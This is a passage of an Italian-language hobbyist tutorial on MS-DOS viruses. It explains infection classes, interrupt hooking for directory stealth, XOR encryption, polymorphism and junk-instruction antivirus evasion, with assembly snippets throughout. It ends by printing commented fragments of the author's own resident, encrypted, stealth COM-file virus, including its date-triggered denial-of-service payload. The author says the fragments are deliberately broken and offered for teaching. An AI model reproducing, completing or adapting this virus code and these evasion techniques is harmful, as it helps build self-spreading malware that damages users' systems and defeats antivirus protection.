veri e propri programmi da eseguire in linguaggio macchina. (3.1.1) COMPANION I virus Companion sono dei virus strani: essi si replicano senza danneggiare alcun file ma utilizzano una tecnica propria del MS-DOS. La priorita' di esecuzione dei file sotto MS-DOS e': 1) .BAT 2) .COM 3) .EXE I virus Companion utilizzano prorpio questa caratteristica, ovvero se noi abbiamo in una directory X un file chiamato X.EXE, il virus copia se stesso in un file X.COM cosicche' se noi eseguiamo 'X' lanciamo il .COM ovvero il virus ! Naturalmente all'interno del virus ci saranno delle routine specifiche per eseguire anche X.EXE per evitare "sospetti". Ovvio che il file X.COM e' spesso settato con l'attributi HIDDEN cosicche' con un eventiale 'dir' non vediamo il nostro "amico" ;). (3.1.2) OVERWRITE Questa classe di virus e' la piu' criticata: in pratica il nostro virus sovrascrive in maniera irreversibile il file originale, andando contro la regola 2. In pratica se X.EXE prima dell'infezione e' un "editor" dopo l'infezione esso sara' solo il virus. Percui se dovete scrivere una lettera e lanciate X nessun editor vi apparira' ! La domanda che un utente si pone a questo punto e': "Perche' ?" ed e' cio' che bisogna evitare in un virus. Proprio per questo non e' affatto consigliabile scrivere virus di tipo OVERWRITE. Prima dell'infezione: X.EXE -> [CODICE DEL FILE X.EXE] Size: 10345 Byte Dopo l'infezione: X.EXE -> [CODICE DEL VIRUS][PARTE RESTANTE DI X.EXE] Size: n Bytes Size: 10345-n Bytes solo che la parte restante non viene mai eseguita. L'unico vantaggio di questo tipo di virus e' che la dimenzioen del file rimane, spesso, invariata. (3.1.3) FILLING Questa classe e' a mio avviso la piu' affascinate di tutte. Un virus di tipo FILLING e' spesso, per ragioni di sicurezza, anche APPEND. Poi vedremo xche. Questo tipo di virus, solitamente di dimensioni molto piccole, cerca nel file da "infettare" uno spazio vuoto in cui nascondersi. Spesso infatti nei programmi ci sono degli spazi vuoti usati in fase di esecuzione come stack e non contenenti alcun dato utile. Il virus ci si copia dentro senza che nessuno noti nulla: anche la dimensione del file ospite rimane invariata. In fase di esecuzione,poi, viene eseguito prima il virus e poi il programma originale. Ecco un esempio in ASM: [file TEST.COM non infetto] start: JUMP main stack DB 100 DUP(00h) main: NOP [codice del programma] una volta compilato il codice binario sara' qualcosa tipo: [0000] E9 00 10 [un ipotetico JUMP a main:] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ... 00 00 00 00 00 00 00 00 [0100] 90 [Mnemonico del NOP, prima istruzione di main:] il virus si annida nei 100 bytes a 00 (ammesso che il virus sia grande <= 100Bytes) e dopo l'infezione il file TEST.COM sara': N.B. XX sta' per codice del virus. [0000] E9 00 01 (Ora JMP salta al codice del virus, sara' poi compito del virus stesso di eseguire il codice originale) XX XX XX XX XX XX XX XX ... XX XX XX XX XX XX XX XX [0100] 90 [Mnemonico del NOP, prima istruzione di main:] in fase di esecuzione: [ESEGUI CODICE DEL VIRUS]->[ESEGUI CODICE ORIGINALE] cosi' l'utente non si accorge di nulla in quanto il programma funziona ancora perfettamente perche'il virus ha usato lo spazio per i DATI e non per il CODICE. Un ipotetico diagramma di flusso di un file FILLING sara': (START) -> APRO FILE -> CERCO n BYTES a 00h (che non corrispondono ad alcun mnemonico e che sono, proprio per questo motivo, dati) -> COPIATI DENTRO ALLO SPAZIO -> PRELEVA PUNTO DI ESCUZIONE ORIGINALE -> SCRIVI IL TUO PUNTO DI ESECUZIONE -> (FINE) (3.1.4) APPEND (Non Overwriting Virus) Eccoci alla classe di virus piu' diffusa, quella APPEND. Questo particolare tipo di virus si attacca al programma originale conservandone le proprieta'. Funziona analogamente al tipo FILLING solo che questo tipo si copia esclusivamente alla fine del file. Non infetto: TEST.COM [DATI E CODICE DI TEST.COM] Size: n Bytes Dopo l'Infezione: TEST.COM [DATI E CODICE DI TEST.COM][DATI E CODICE DEL VIRUS] Size: n + v_size Bytes Come avrete notato si ha un aumento in dimensioni del file contrastando la regola 1. Infatti un utente con un semplice 'DIR' puo' notare che il file e' cresciuto :) ed e' per questo che bisogna attenersi il piu' possibile alla regola 4. C'e' anche una seconda soluzione: lo STEALTH di cui parlero' piu' avanti. Ecco un esempio di come funziona un virus APPEND (Non Overwriting Virus). TEST.COM Originale Size: n Bytes start: JUMP main data DB 20 DUP(00) main: nop nop nop int 20h [Fine del programma] TEST.COM Infetto Size: n + virus_size Bytes start: JUMP inizio_virus data DB 20 DUP(00) main: nop nop nop int 20h inizio_virus: [mi_faccio_i_cazzi_miei] JUMP main Come potete osservare per l'utente che esegueil programma infetto non cambia assolutamente nulla: il codice del programma originale e' sempre eseguito e siamo ok per la regola 2. :) Un ipotetico diagramma di flusso potrebbe essere il seguente: (START)->MI COPIO ALLA FINE DEL FILE OSPITE->GUARDO IL SUO PUNTO DI INIZIO ESECUZIONE->ME LO ANNOTO->SCRIVO IL MIO PUNTO DI ESECUZIONE->(FINE) In fase di esecuzione il virus, alla fine dei suoi lavori, fa' un JUMP al programma originale et voila' ! Il gioco e' fatto ! ;) (3.1.5) BOOT Virus Adesso parlo, per correttezza, della calsse di virus che in passato ha causato piu' danni. Adesso nessuno scrive piu' simili virus ma e' giusto sapere che anche loro esistono. Famosissimo di questa classe e'il Virus Michelangelo: ; Virus Name: Michelangelo ; V Status: Common ; Discovered: April, 1991 ; Symptoms: Disk directory damage; hard disk format; decrease in total ; system and available memory ; Origin: Sweden or the Netherlands ; Eff Length: N/A ; Type Code: BRtX - Resident Floppy Boot Sector/Master Boot Sector Infector ; This is a disassembly of the much-hyped michelangelo virus. ; As you can see, it is a derivative of the Stoned virus. The ; junk bytes at the end of the file are probably throwbacks to ; the Stoned virus. In any case, it is yet another boot sector ; and partition table infector. Il loro principio di funzionamento e' semplice: un tempo gli HD costavano molto e i CD manco si conoscevano. I Floppy-disk erano molto comuni e si usavano spesso come System Disk. All'avvio del computer (ancora oggi e' cosi) il BIOS cerca se un dischetto nel floppy-drive e' presente. Se c'e' esso carica ed esegue il primo settore che dovrebbe contenere il Bootstrap Loader (ovvero lanciare il sistema, come nei dischi di ripistino di Windoze). Il Bootstrap Loader e' un programma "particolare" che viene eseguito come un qualsiasi altro programma. Esempio tratto dal Terror2 Virus: boot_start: db 0E9h << db 9Dh << QUESTI 3 BYTES SONO IL JUMP A str_end: db 00h << db "TERROR2" << ETICHETTA DEL DISCO str_boot: db " << The Terror II Virus >> ",13,10 db "PolyMorphic Stealth Boot Virus.",13,10 db " Created by Dark Monk.",13,10 db " '' Fuck MS-DOS ! ,, ",13,10 str_end: db 29 DUP (90h) ; Scrivi 30 NOP mov ax,0001h ; 320 * 200 int 10h ; Video mov ah,0Fh int 10h ... Il settore di BOOT ha una specie di HEADER che serve al BIOS per capire che dischetto e'. Al momento non ne ho le specifiche sotto mano ma comunque in rete ci sono, cercate ! ;) Allora cosa succede ? Inserisci il dischetto nel drive, accendi il PC, il BIOS carica il codice della traccia 0 e lo esegue....e se e' un virus ? Se e' un virus esso ha il controllo della macchina. Certo, sono necessari accorgimenti particolari: primo fra tutti e' che il settore e' 512 Bytes, di cui circa 400 utilizzabili percui un virus, prima di tutto, carichera' il suo corpo principale in memoria e lo eseguira'. In pratica nel settore di BOOT non c'e' il VIRUS ma il LOADER del VIRUS. Il VIRUS vero e proprio si occupera' poi di ripistinare, in modo da seguire le regole 1 e 2, il vero boot record e di eseguirlo. Ci sono varie tecniche che non ho voglia di illustrarvi, semmai in un secondo momento. (3.2) VIRUS NON BINARI I Virus Non Binari (molti mi criticheranno ma non importa) sono quelle cose che per replicarsi non devono essere, necessariamente, eseguite. Una annotazione a parte per i virus "EXPLOIT": questo tipo di virus si basa su errori di un particolare programma. Mi riferisco, in questo caso, a Microsoft Outlook Express che i n una versione, in particolari condizioni, eseguiva un file in ATTACH senza il permesso e/o la richiesta dell'utente. Ovvio che un ipotetico file in ATTACH poteva infettare un sistema semplicemente inviandolo tramite E-Mail. ;) In generale i VIRUS NON BINARI sono quei virus non il linguaggio macchina. (3.2.1) HOAX Gli HOAX (Bufale) sono una nuova classe di virus apparsa su Internet e diffusa grazie alla 'lameraggine' degli utenti. Ho gia detto che un virus, per essere tale, deve replicare se stesso. Per questa proprieta' fondamentale, un qualsiasi messaggio che riporti una dicitura del tipo: SE INVII QUESTO MESSAGGIO AD ALTRE 5 PERSONE VINCERAI 1 MILIONE DI LIRE ! i piu' boccaloni invieranno subito, senz esitare, questo messaggio ad altre 5 persone provocando una crescita del "virus" di ragione 5 ovvero: START | +-----+-----+-----+-----+ | | | | | +++++ +++++ +++++ +++++ +++++ ||||| ||||| ||||| ||||| ||||| etc... quindi in 2 passaggi si hanno gia' 5*5 copie del messaggio creando una vera e propria infezione ;). In 100 passaggi si hanno ben 5^100 messaggi causando uno SPAM di dimensioni enormi ! (3.2.2) MACRO VIRUS I Macro Virus sono nati grazie ad una fatale caratteristica dei prodotti Microsoft Office. Per velocizzare alcune operazioni frequenti e' possibile creare delle Macro (chi programma sa' cosa sono) per velocizzare queste operazioni. Nelle macro di MS Office e' possibile specificare di tutto: apertura dei file, cancellazione, formattazione, etc..Una delle cose che non permettono, per fortuna,e' la ripartizione del disco (ref. Melissa Virus). Immaginatevi percui se invio ad un mio amico un documento .doc con una macro (le macro sono dento i documenti !) con l'ordine di cancellare tutto l'HD ! Fortunatamente i Macro Virus sono diffusi solo su sistemi Microsoft, e piu' che virus sembrano vendette !!! ;))) (3.2.3) EXPLOIT VIRUS Come gia' accennato nell'introduzione, gli EXPLOIT virus sfruttano delle particolari proprieta' dei Sistemi Operativi per diffondersi. Anche i VERMI di Internet utilizzano questa caratteristica ma non sono virus percui non ne parlo :). Il piu' famoso e' stato quello relativo ad Outlook Express che, se inviavi un file infetto in ATTACH con un nuone piu' lungo di 255 caratteri si provocava un Buffer Overflow con conseguente esecuzione del codice del file in ATTACH. [E-MAIL+ATTACH]->[OUTLOOK EXPRESS]->[BUFFER OVERFLOW & CRASH]->[ESEGUI ATTACH] Se ATTACH e' un virus appositamente progettato, ci ritroviamo con il sistema infetto. Non aggiungo altro all'argomento anche xche non sono molto ferrato sulla questione. (4) CARATTERISTICHE INTERESSANTI In questo paragrafo parlero' di alcune caratteristiche interessanti dei virus binari. Inaftti solo maneggiando il codice a livello macchina e' possibile agire in modo cosi' profondo nel sistema. (4.1) STEALTH I virus stealth sono tra i piu' pericolosi. Analogamente all'F117 (Quell'aereo caccia-bombardiere stealth) i virus stealth sono "invisibili" e cercano in ogni modo di coprirele proprie tracce. Per riuscirci utilizzano delle caratteristiche base del sistema. Per esempio un virus Dir Stealth (cheriesce a non far notare l'incremento di dimensione di un file con il comando 'dir') si basa sul fatto che il COMMAND.COM, all'arrivo di un 'dir' esegue un certo comnado sull'INT 21h (Interrupt 21h) e ne visualizza la risposta. Il nostro virus, di conseguenza, cerchera' di modificare la risposta. Ma come ? Ecco uns asemplice rappresentazione dell atabella degli interrupt in un sistema *sano*: [DOS] -> [INT 01h] -> Routine Int 01h -> Ret [INT 02h] -> Routine Int 02h -> Ret [INT ...] -> Routine Int ... -> Ret [INT 21h] -> Routine Int 21h -> Ret N.B. 'Ret' significa "ritorno al chiamante, o al DOS". ed adesso in un sistema inefftato da uno *pseudo* virus steath (e non solo): [DOS] -> [INT 01h] -> Routine Int 01h -> Ret [INT 02h] -> Routine Int 02h -> Ret [INT ...] -> Routine Int ... -> Ret [INT 21h] -> Virus -> Routine Int 21h -> Virus -> Ret Come vediamo il nostro virus *filtra* le chiamate in ingresso ed in uscita. Se esso rileva una chiamata di 'dir' (poi entrero' nei particolari) chiama l'INT 21h originale e ne attende la risposta, indi modifica il risultato in modo che l'utente non noti nulla e ritorna al chiamante. Il chiamante, ovviamente, non si accorge di nulla. Per capire come funziona il modo di intercettazione delle chiamate di Interrupt bisogna capire cosa sono gli Interrupt ! Ecco com'e' strutturata la tabella degli interrupt locata nella posizione 0000:0000 (Segmento 0 Offset 0) della memoria di sistema: Offs | 4b | 4b | -----+----+----+ 0000 OffA SegA 0004 OffB SegB 0008 OffC SegC ... In pratica chiamando l'INT 00 faccio una Call assoluta all'indirizzo SegA:OffA. Con l'INT 01 a SegB:OffB e cosi' via. Per accedere ad un elemento della tabella di interrupt basta scrivere queste righe: xor ax,ax mov es,ax ; ES = AX = 0 mov bx,word ptr es:[4*21h+0] ; OffSet mov ax,word ptr es:[4*21h+2] ; Segmento mov word ptr ds:[INT21h],bx ; Offset mov word ptr ds:[INT21h[2]],ax ; Segmento cli ; Disabilita INT *** ADESSO METTO NEL VETTORE IL PUNTATORE ALLA NOSTRA ROUTINE: mov word ptr es:[4*21h+0],offset newint21h ; OffSet della routine mov word ptr es:[4*21h+2],ds ; Segmento della routine sti ; Riabilita INT Per semplicita' basta pensare che un Interrupt e' una Call ad una routine particolare. Ecco una breve lista delle funzioni comuni dei primi interrupt: INT 00 - CPU-generated - DIVIDE ERROR INT 01 - CPU-generated - SINGLE STEP; (80386+) - DEBUGGING EXCEPTIONS INT 02 - external hardware - NON-MASKABLE INTERRUPT INT 03 - CPU-generated - BREAKPOINT INT 04 - CPU-generated - INTO DETECTED OVERFLOW INT 05 - PRINT SCREEN; CPU-generated (80186+) - BOUND RANGE EXCEEDED INT 06 - CPU-generated (80286+) - INVALID OPCODE INT 07 - CPU-generated (80286+) - PROCESSOR EXTENSION NOT AVAILABLE INT 08 - IRQ0 - SYSTEM TIMER; CPU-generated (80286+) INT 09 - IRQ1 - KEYBOARD DATA READY; CPU-generated (80286,80386) INT 0A - IRQ2 - LPT2/EGA,VGA/IRQ9; CPU-generated (80286+) INT 0B - IRQ3 - SERIAL COMMUNICATIONS (COM2); CPU-generated (80286+) INT 0C - IRQ4 - SERIAL COMMUNICATIONS (COM1); CPU-generated (80286+) INT 0D - IRQ5 - FIXED DISK/LPT2/reserved; CPU-generated (80286+) INT 0E - IRQ6 - DISKETTE CONTROLLER; CPU-generated (80386+) INT 0F - IRQ7 - PARALLEL PRINTER INT 10 - VIDEO; CPU-generated (80286+) INT 11 - BIOS - GET EQUIPMENT LIST; CPU-generated (80486+) INT 12 - BIOS - GET MEMORY SIZE INT 13 - DISK INT 14 - SERIAL INT 15 - CASSETTE INT 16 - KEYBOARD INT 17 - PRINTER INT 18 - DISKLESS BOOT HOOK (START CASSETTE BASIC) INT 19 - SYSTEM - BOOTSTRAP LOADER INT 1A - TIME INT 1B - KEYBOARD - CONTROL-BREAK HANDLER INT 1C - TIME - SYSTEM TIMER TICK INT 1D - SYSTEM DATA - VIDEO PARAMETER TABLES INT 1E - SYSTEM DATA - DISKETTE PARAMETERS INT 1F - SYSTEM DATA - 8x8 GRAPHICS FONT INT 20 - DOS 1+ - TERMINATE PROGRAM INT 21 - DOS 1+ - Function Calls INT 22 - DOS 1+ - PROGRAM TERMINATION ADDRESS INT 23 - DOS 1+ - CONTROL-C/CONTROL-BREAK HANDLER INT 24 - DOS 1+ - CRITICAL ERROR HANDLER INT 25 - DOS 1+ - ABSOLUTE DISK READ INT 26 - DOS 1+ - ABSOLUTE DISK WRITE INT 27 - DOS 1+ - TERMINATE AND STAY RESIDENT INT 28 - DOS 2+ - DOS IDLE INTERRUPT INT 29 - DOS 2+ - FAST CONSOLE OUTPUT Naturalmente 'newint21h' e' un puntatore alla nostra routine, alla routine del virus: INT21H dd ? newint21h proc far Assume CS:CODE_SEG, DS:Nothing cmp ah,4Bh ; Load and Execute ? je load_execute cmp ah,11h ; Find First Matching File (Dir Stealth) je dir_stealth cmp ah,12h ; Find Next Matching File (Dir Stealth) je dir_stealth cmp ax,4300h ; Get File Attributes je load_execute cmp ax,4301h ; Set File Attributes je load_execute cmp ah,3Dh ; Open File je load_execute cmp ah,4Eh ; Find First Matching File (Dir Stealth) je newdir_stealth cmp ah,4Fh ; Find First Matching File (Dir Stealth) je newdir_stealth jmp do_int_now Ecco, per capire questa parte di codice e' opportuno addentrarsi ancora di piu' nelle chiamate di sistema: L'interrupt 21h *contiene* tutte le chiamate importanti del nostro MS-DOS. Consultando le RalphBrown Interrupt List si vede che l'INT2h e' quello che conta piu' funzioni di tutti gli altri Int. Analizziamole qualcuna: AH | AL | Altri Dati | Funzione ---+----+------------------+---------- 00 CS = PSP Segment Termina un programma 01 Ret Ritorna un carattere letto da console 02 DL = Char Stampa il carattere in DL nella console 0F DS:DX -> FCB Apre un file usando FCB 10 DS:DX -> FCB Chiude un file aperto con FCB 11 DS:DX -> FCB Cerca primo file usando FCB 12 DS:DX -> FCB Trova prossimo file usando FCB 13 DS:DX -> FCB Cancella file usando FCB 14 DS:DX -> FCB Sequential read from FCB 1A DS:DX -> DTA Set Disk Area Transfer address 25 XX DS:DX -> New Int Setta il vettore dell'INT XX con New Int comunque ce ne sono veramente tante. Vale la pena cercare su Internet le Ralph Brown Interrupt list e dargli uno sguardo: sono affascinanti. Non e' scopo di questo documento insegnarvi a scrivere virusma di imparare a conoscerli percui non mi addentrero' nei possibili utilizzi delle chiamate ne sui dettagli tecnici. Spero che abbiate compreso cosa sono gli Interrupt, come si usano e a cosa servono. Comunque di funzioni "stealthabili" ce ne sono molte, dipende solo da cosa modifica il vostro virus ! :) Per concludere questo affascinante argomento eccovi un breve diagramma di flusso di una procedura DIR STEALTH: (INIZIO) --> -Yes->[Chiama INT21h originale]--+ | | | +-No--> -Yes-+ | | | (FINE)<---------------No-+ | ^--[Modifica risultati]<--Yes-+ Il diagramma non e' realizzato nel migliore dei modi: comunque sia la procedura si riassume nel controllare se un file "chiamato a rapporto" e' infetto, se SI modificarlo e poi restituire i dati. (4.2) ENCRIPTION Questa curiosa ed interessante caratteristica ha fatto si' che gli Anti Virus avessero un "problemuccio" in piu'. Infatti con questa carateristica, spesso, i 'Pattern Matching AV' fallivano. Questa tecnica consiste di rendere un virus invisibile crittandone i contenuti. Ovviamente deve rimanere inalterata quella parte di codice che permette la successiva decrittazione e proprio questo gli rende facilmente intercettabili. Tuttavia vale la pena vedere come funziona. Le tecniche per la codifica/decodifica sono infinite, anche se per semplicita' e velocita' (ricordate regole 3 e 4 ?) sono preferite quelle simmetrice con lo XOR. Guardiamoci la tabella della verita' di una funzione XOR: A | B | O ---+---+--- ___ 0 0 0 A -\ \ 1 0 1 | >-- O 0 1 1 B -/___/ 1 1 0 Immaginiamoci questo dato: 00010010 da codificare con XOR con questa chiave: 01100110 00010010 XOR 01100110 ----------- 01110100 adesso proviamo a "codificare" il isultato (01110100) con la stessa chiave (01100110): 01110100 XOR 01100110 --------- 00010010 Magia ! ;) Come vedete il risultato e' assolutamente il dato originale (00010010) ed ecco xche la funzione XOR e' chiamata simmetrica: con due codifiche successive si ottiene il risutato iniziale. Ecco che allora la routine di codifica/decodifica e' la stessa. Ma in dettaglio come funziona un virus crittato ? [INIZIO VIRUS] start_enc: [ROTUINES_VARIE_DEL_VIRUS] end_enc: [CRIPT_DECRIPT_ROUTINE] noi crittiamo solo il codice tra start_enc e end_enc in quanto un codice macchina crittato non e' piu' esegubile ! Ecco che allora , al monento dell'esecuzione, dobbiamo prima richiamare la funzione CRIPT_DECRIPT_ROUTINE per rendere il virus esegubile. Il problema sta' nel fatto che la CRIPT_DECRIPT_ROUTINE non e' codificabile e quindi rilevabile dagli antivirus. Ecco la procedura di codifica/decodifica: ; Enc-Decryption Routine lea si,(Key + bp) mov bx,ds:[si] ; BX = Key lea si,(encrypt_start + bp) ; SI = Start of encrypted part mov cx,((offset encrypt_end - offset encrypt_start)/2)+1 ; CX Size dec_loop: mov ax,word ptr ds:[si] ; 16-Bit simple XOR encryption xor ah,bl xor al,bh mov word ptr ds:[si],ax inc si inc si loop dec_loop Avremo percui su DISCO il virus in questa forma: [INIZIO] [CODICE VIRUS CRITATTO] [ROUTINE EN-DEC] e in memoria (in esecuzione) questa: [INIZIO] [CODICE VIRUS IN CHIARO] [ROUTINE EN_DEC] Esiste anche una semplice tecnica,chaiamta Polymophic Encryption, che permette di cambiare chiave ad ogni generazione del virus. La chiave, ovviamente, dovra' essere memorizzata all'interno del suo corpo. Comunque il principio di funzionamento e' lo stesso. (4.3) POLIMORFICI Questa categoria e' spesso insieme alla precedente. I virus puramente Polimorfici sono rari e comunque il polimorfismo non e' alla portata di tutti: costruire un motore polimorfico (cosi' si chiama quel pezzo di codiche che "polimorfizza" il virus) e' molto difficile. Come funziona in dettaglio un virus polimorfico ? Bene, prima di tutto pensiamo a quanti metodi ci sono per fare una cosa. Esempio: per mettere 0 in AX quanti modi ci sono ? Proviamo... 1) MOV AX,0 2) XOR AX,AX 3) SUB AX,AX 4) MOV BX,0 MOV AX,BX ... diciamo pure *infiniti* :) Ed e' su questo che si basa un virus polimorfico. In pratica se in un virus incontra l'istruzione MOV AX,0 esso la sostituisce, a caso, con un suo simile. Cosi' un codice: mov ax,0 puo' diventare: xor ax,ax oppure: push bx mov bx,0 mov ax,bx pop bx e in tutti questi casi il codice macchina corrispondente e' diverso cosa x cui gli AntiVirus non ci capiscono piu' nulla ;). Uno dei piu' famosi motori polimorfici e' l' Mta (Mutation Engine) scritto da Dark Avenger, un mitico virus-writer bulgaro. (4.4) ANTI A.V. Questa categoria di trucchi e'molto divertente da applicare.Lo scopo principale e' fare in modo che l'AntiVirus non riconosca che quel codice e' un virus ;). I metodi per farlo sono molti e si basano essenzialmente su alcune "pecche" degli AV. Sulla rivista specializzata VLAD ci sono moltissime tecniche ben descrite. Eccovi un esempio di come "tentare" utilizzando delle Garbage Instruction (istruzioni spazzatura): get_offs: pop bp inc ax ; << Garbage Instruction (confuse AV) sub bp,offset get_offs ; In BP offset ; Check if encrypt mov si,ds:[34h] ; << Garbage Instruction (confuse AV) lea si,(encrypt_start + bp) xchg di,si ; << Garbage Instruction (confuse AV) xchg di,si ; << Garbage Instruction (confuse AV) cmp byte ptr cs:[si],90h ; Encrypted ? je encrypt_start ; Seems to be not :D ; Decryption Routine lea si,(Key + bp) add si,2 ; << Garbage Instruction (confuse AV) xchg bx,si ; << Garbage Instruction (confuse AV) dec bx ; << Garbage Instruction (confuse AV) xchg bx,si ; << Garbage Instruction (confuse AV) mov bx,ds:[si] ; BX = Key lea si,(encrypt_start + bp) ; SI = Start of encrypted part mov cx,((offset encrypt_end - offset encrypt_start)/2)+1 ; CX Size dec_loop: mov ax,word ptr ds:[si] ; 16-Bit simple XOR encryption int 03h ; << Garbage Instruction (confuse AV) xor ah,bl int 03h ; << Garbage Instruction (confuse AV) xor al,bh mov word ptr ds:[si],ax inc si int 03h ; << Garbage Instruction (confuse AV) inc si loop dec_loop Le righe commentate con "Garbage Instruction..." si riferiscono ad istruzioni *dummy* che rendono insensato (o,perlomeno, ci provano !) il codice confondendo l'AntiVirus. Con questa metodologia si va' contro la regola 4 ma bisogna cercare di trovare un buon compromesso tra difese e offese. (5) LEGISLAZIONE ITALIANA IN MATERIA DI VIRUS (Grazie a Ferry Byte per le seguenti informazioni) Carlo Sarzana di S. Ippolito, presidente aggiunto della sezione Gip del Tribunale di Roma, nella sua relazione presentata al convegno sulla criminalita' informatica tenutosi a Milano il 26 maggio 1994 rispetto alla legge Conso (l. n. 547/93 pubblicata in Gazzetta Ufficiale n. 305 30.12.93) sui reati informatici osservava che: 1) con riguardo all'art. 615 ter., che punisce l'accesso abusivo a u sistema informatico o telematico, la tutela e' limitata ai sistemi informatici o telematici protetti da misure di sicurezza perche', dovendosi tutelare il diritto di un soggetto specifico, e' necessario che quest'ultimo abbia dimostrato, con la predisposizione di mezzi di protezione sia logica che fisica, di voler espressamente riservare l'accesso e la permanenza nel sistema alle sole persone da lui autorizzate; 2) in riferimento all'art. 615 quater che punisce l'abusiva acquisizione e diffusione di codici di accesso a sistemi informatici o telematici, viene definito che, per la configurabilita' del delitto, e' richiesto il dolo specifico, consistente nel fine di procurare un profitto a se' o ad altri o di arrecare ad altri un danno; 3) a proposito dei virus (articolo 615-quinques) non commette reato colui che per ragioni di studio o predisposizione di sistemi di prevenzione, raccolga e/o custodisce programmi virus. Art. 615-quinquies - (Diffusione di programmi diretti a danneggiare o interrompere un sistema informatico). - Chiunque diffonde, comunica o consegna un programma informatico da lui stesso o da altri redatto, avente per scopo o per effetto il danneggiamento di un sistema informatico o telematico, dei dati o dei programmi in esso contenuti o ad essi pertinenti, ovvero l'interruzione, totale o parziale, o l'alterazione del suo funzionamento, e' punito con la reclusione sino a due anni e con la multa sino a lire venti milioni". Come vedete la legislazione in materia e' piuttosto vaga ed imprecisa, sarebbe punibile anche la Microsoft per il "DEL" e il "DELTREE" ;)) Del resto conviene non rischiare: la costituzione dice che la legge e' uguale per tutti, ma e' proprio cosi' ? BREVE INTERLUDIO Adesso la parte "teorica" (se cosi' si puo' definire) e' finita. Segue l'analisi di un vero virus informatico. Traetene spunto per verificare le nozioni acquisite. Ricordate sempre: un vero virus-writer non compie mai danni sul sistema altrui. Questo e' un invito esplicito a non scrivere virus pericolosi o distruttivi. Coscenza vostra. :) (6) DOPO LA TEORIA...LA PRATICA ! Ecco un esempio di virus. Si chiama VIAGRA ed e' la mia ultima creazione. Si lo so' che e' vecchiotto ma e' da un bel po' che non scrivo virus per il semplice motivo che non uso piu' l'MS-DOS ma solo Linux ;). W Linux ! ATTENZIONE !!! Questi sono solo pezzi del programma originale. Non possono essere compilati e non sono,quindi, illegali. Essi non possono arrecare alcun danno. Inoltre il sorgente contiene alcuni errori volutamente aggiunti per evitare qualsiasi compilazione. Solamente una persona esperta e motivata puo' essere in grado di assemblare un virus funzionante. Diffido chiunque dall'usare questo testo per scopi non educativi. Nel caso in cui venga compilato ed eseguito non mi riterro' in alcun modo responsabile per i danni che esso vi causera'. SOLO PER SCOPI DIDATTICI. [ HEADER DEL VIRUS, INFORMAZIONI VARIE] ; Araknoid virus v0.1 (Viagra Virus) ; ; Written by D.N.A ! 15/12/1998 ; ; * Virus Propriety ; ŝ Infect COM on: ; - Execute ; - Get Attributes ; - Set Attributes ; - Open ; ŝ Don't infect W*.COM (i.e. WIN.COM) ; ŝ Don't infect misnamed EXE (i.e. COMMAND.COM) ; ŝ Memory Invisible Resident ; ŝ Little Polimorphic Encryption ; ŝ Directory Stealth ; - Stealth using ah=11h/12h ; - Stealth using ah=4Eh/4Fh ; ŝ Garbage Instruction to confuse AV ; ; * Effect on Infected System ; ŝ When Infecting a file a 'V' flash on the top-right corner of screen ; ŝ RTM executables don't run (bug ?) ; ŝ On DoS a ball bounch over the screen and system is cut-of :) ; ; DoS ; Every Monday between 13:00 and 13:59 included, between October and December ; and a random number must be smaller than 3400h :) ; Keyboard disabled during operation. ; PC must be rebooted. ; ; * Defect ; ŝ Poor Anti-Debugging routines ; ŝ Simple and not-well optimized for "secure" reason ; ŝ Of course there is some bug ;) ; ; * Some Anti-Virus response ; ŝ F-Prot says that can be a variant of Int78 Virus ; ŝ NAV 5.0 recognize it as a New Virus ; ŝ TBAV can't recognize Viagra as a virus (Hehehe) ; ŝ SCAN from McAffee not mentioned ? Sorry...do u ; really think it's an AntiVirus ? La prima cosa che devo fare e' conoscere la posizione del virus all'interno del codice xche tutti i riferimenti ai dati sono assoluti. Per sapere dove sono faccio una chiamata a CALL get_offs. L'istruzione CALL pusha in memoria l'IP (per poi recuperarlo con un eventuale RET). Io prelevo l'IP dallo stack, sotraggo la posizione relativa del get_offs ed ottengo, in BP (in questo caso) l'offset ;). start: call get_offs get_offs: pop bp sub bp,offset get_offs ; In BP offset Adesso in BP ho l'offset per tutti i riferimenti ai DATI. Il secondo pass e' controllare se il virus e' crittato. Per fare cio' controllo un particolare dato: ; Check if encrypt lea si,(encrypt_start + bp) cmp byte ptr cs:[si],90h ; Encrypted ? je encrypt_start ; Seems to be not :D Se il corpo e' crittato e' necessario decrittarlo prima che venga eseguito. La crittazione e' con un semplice XOR a chiave variabile. Ogni copia del virus ha la sua chiave specifica (Key). Se non e' crittato, tralascia questa fase. ; Decryption Routine lea si,(Key + bp) mov bx,ds:[si] ; BX = Key lea si,(encrypt_start + bp) ; SI = Start of encrypted part mov cx,((offset encrypt_end - offset encrypt_start)/2)+1 ; CX Size of part to decrypt dec_loop: mov ax,word ptr ds:[si] ; 16-Bit simple XOR encryption xor ah,bl xor al,bh mov word ptr ds:[si],ax inc si inc si loop dec_loop encrypt_start: nop Adesso devo controllare se il virus e' gia' in residente in memoria. Per fare cio' utilizzo una particolare chiamata con determinati dati. Se il virus e' gia' residente controlla se siamo per il DoS (Denial of Service) ed esegui programma ospite (regole 1 e 2). mov ax,'VI' ; Controlla se gia' residente mov bx,'Id' ; Comando di Ident int 21h cmp ax,'OK' ; Si,e' residente jmp install Adesso controlla se DoS: ; Virus presente nel sistema ; Controlla se momento DoS mov ah,2Ah ; Get System Date int 21h cmp dl,1 ; Monday ? jne no_more_mem ; Nop...skip... cmp dh,10 ; October or better ? jb no_more_mem ; Nop...skip... mov ah,2Ch ; Get System Time int 21h mov ch,13 ; Between 13:00 and 13:59 ? jne no_more_mem ; Nop...skip... in ax,40h ; Get Random Number cmp ax,3400h ; Smaller than .... ? ja no_more_mem ; Nop...skip... ; Yes ! DoS now ! Si, bisogna eseguire il DoS: mov ax,'VI' ; Controlla se gia' residente mov bx,'Do' ; Comando di DoS int 21h Se errore oppure gia' installato esegui programma ospite. La tecnica e' semplice: rimetto a posto il JUMP iniziale e lo eseguo dall'inzio. Siccome la modifica influenza solo il programma in memoria, il file su disco rimane inalterato: no_more_mem: ; Non ci sono speranze di installare, esegui file ospite. cmp bp,0 ; Ospite presente ? je no_guest ; Nop,esci. ; Copia JMP originale lea si,(OrigJMP + bp) mov di,0100h mov cx,3 ; 3 Word = 6 Bytes rep movsw ; Copia push 0100h ; Alias jmp 0100h :) ret Adesso, siccome il virus non e'installato, devo installarlo in memoria. Per fare cio'ci sono svariate tecniche: la piu' comune e' allocare un blocco di memoria alta e marcarlo come di sistema,per essere invisibile ad un eventuale 'mem': install: call mem_install jmp no_more_mem 